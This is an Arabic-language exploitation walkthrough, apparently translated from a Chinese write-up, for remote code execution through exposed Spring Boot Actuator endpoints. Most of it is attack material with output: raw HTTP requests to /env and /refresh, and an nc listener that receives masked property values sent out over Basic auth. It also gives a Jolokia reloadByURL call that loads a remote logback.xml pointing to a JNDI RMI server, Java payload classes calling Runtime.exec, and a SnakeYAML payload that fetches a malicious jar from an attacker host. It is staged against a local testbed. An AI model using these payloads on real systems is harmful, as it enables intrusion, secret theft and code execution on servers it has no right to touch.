
SpringBoot_Actuator_RCE
/swagger-ui.html
عندما نصل مباشرة إلى موقع SpringBoot، يمكننا رؤية بعض حقول password معبأة بعلامة *

مرجع https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA
خطوات التنفيذ المحددة:
مثال: نريد الحصول على قيمة معامل pid
"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/
ثم أرسل طلب POST إلى /refresh بأي محتوى لتشغيل الثغرة
ملاحظة: في الوضع الطبيعي، تحتاج إلى الانتظار 3 ثوانٍ لتلقي حزمة الاستجابة. إذا عادت فورًا، فقد تكون الخدمة تفتقد الحزمة الموسعة spring-boot-starter-actuator ولا يمكن تحديث الثغرة، وبالتالي لا يمكن استغلالها
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312
عندما يستمع الخادم على المنفذ 2444 عبر nc، يستقبل:
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==
Authorization: Basic MzgzNDY6bnVsbA==
فك ترميز base64 يعطي:
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null
وهي نفس معلومات pid أعلاه
وبالمثل، للحصول على معامل user.country، الخطوات هي نفسها
النتيجة:
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==
sent 0, rcvd 310
فك ترميز base64 يعطي:
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
أدخل المعامل الذي تريد الاستعلام عنه، وأدخل المنفذ الذي يستمع عليه nc

استمع على المنفذ، واحصل على الترويسة (header) المحددة، وفك تشفير base64 تلقائيًا

ملاحظة: إذا كنت محظوظًا وكان Eureka-Client <1.8.7 موجودًا في classpath الهدف (عادةً ما يكون مضمنًا في Spring Cloud Netflix)، فيمكنك استغلال ثغرة إلغاء تسلسل XStream الموجودة فيه.
مثال: User-Agent: Java-EurekaClient/v1.4.11
git clone https://github.com/veracode-research/actuator-testbed
التشغيل:
mvn install
أو
mvn spring-boot:run
بعد الترجمة والتشغيل، وجدت أن عنوان IP المستمع هو 127.0.0.1 ولا يمكن الوصول إليه إلا من الجهاز المحلي.
بعد البحث في Baidu، وجدت أنه يكفي تعديله إلى 0.0.0.0.
البحث عن الملفات المفتاحية:
grep -r 'server.address' -n ./
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1
قم بتعديله إلى:
server.port=8090
server.address=0.0.0.0
# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them
# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true
# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false
# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false
# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*
mvn spring-boot:run
أو:
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run
انتظر قليلاً:
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6 0 0 :::8090 :::* LISTEN 33666/java
root@kali:~/actuator/actuator-testbed#
حيث يمكن لـ reloadByURL تحميل ملف xml من عنوان URL بعيد
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}
محتوى ملف logback.xml:

<configuration>
<insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>
ExportObject.java:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
InputStream var2 = var1.getInputStream();
BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));
String var4;
while((var4 = var3.readLine()) != null) {
System.out.println(var4);
}
var1.waitFor();
var2.close();
var3.close();
var1.destroy();
}
public static void main(String[] var0) throws Exception {
}
}
استمع إلى منفذ RMI:
root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject
root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection
يقوم المتصفح بتحميل ملف logback.xml البعيد وتحليله، ويصل الخادم إلى عنوان JNDI الخبيث، مما يؤدي إلى تنفيذ كود البايت الخبيث
http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml


root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#
طريقة تحقيق RCE عبر تعديل خاصية spring.cloud.bootstrap.location في بيئة Spring أكثر موثوقية
تُستخدم هذه الخاصية لتحميل التكوين الخارجي وتحليله بتنسيق YAML.
لتحقيق ذلك، لا تزال بحاجة إلى إرسال طلب POST إلى /refresh بأي محتوى لتشغيل الثغرة.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
]]
]
الكود https://github.com/artsploit/yaml-payload

جزء من كود AwesomeScriptEngineFactory.java:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (IOException e) {
e.printStackTrace();
}
}
ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java
يحتوي على البايت كود الفعلي مع حمولة خبيثة في المُنشئ (constructor).
ymal_payload.jar\services\javax.script.ScriptEngineFactory
هو مجرد ملف نصي يحتوي على مرجع كامل إلى 'artsploit.AwesomeScriptEngineFactory'، حتى يعرف ServiceLoader مكان العثور على هذه الفئة
المحتوى: artsploit.AwesomeScriptEngineFactory
ضع ملف jar على خادم http:
spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312

root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html#
ملاحظة: مقارنةً بحمولة XStream الخاصة بـ Eureka، يمكن استخدام طريقة yaml حتى في أحدث الإصدارات.